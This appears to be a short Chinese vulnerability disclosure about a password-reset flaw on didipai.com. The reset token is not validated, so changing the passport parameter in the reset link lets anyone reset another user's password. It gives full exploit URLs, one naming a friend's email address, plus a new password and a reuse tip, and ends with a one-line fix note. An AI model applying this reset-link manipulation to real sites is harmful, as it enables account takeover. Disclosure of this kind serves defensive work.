重置流程：
注册两个账户a,b
通过a找回密码功能即可重置b的。神奇吧？
1：）
我用自己的账户注册了一个wutongyu 的帐号
然后选择找回密码：
生成了一个链接：
http://www.didipai.com/user/emailormobileforgetpasswordresult?status=0&passport=[这里替换成你想重置的账户]&tokenid=73406489353311481423051892958193151486864158342960196658317655427268455499547645007481857817900171327093576925213578394016711331472520369241443765705013405594103129928882058297047581725621829110151382323988366311935625801410993412816035042248572709908038512735040654169451834039555178510360634502810037622212&randtoken=de31f6ed31be494bacfe990728391f2a
这里我拿我朋友帐号做测试：
http://www.didipai.com/user/emailormobileforgetpasswordresult?status=0&passport=jason_chen163@163.com&tokenid=73406489353311481423051892958193151486864158342960196658317655427268455499547645007481857817900171327093576925213578394016711331472520369241443765705013405594103129928882058297047581725621829110151382323988366311935625801410993412816035042248572709908038512735040654169451834039555178510360634502810037622212&randtoken=de31f6ed31be494bacfe990728391f2a
很惊艳。。直接就来到重置密码的页面了。。
我把密码重置为haha123登录试试：
成功登录！
为什么说是sohu旗下的呢。。多说一句 其实是在sohu网段挖掘出来的。。
另外，如果失效了 管理员可以试试 重新找回一次密码，得到链接，又可以继续利用了！
修复方案：
这个。。token根本没起作用嘛。。开发应该懂的！
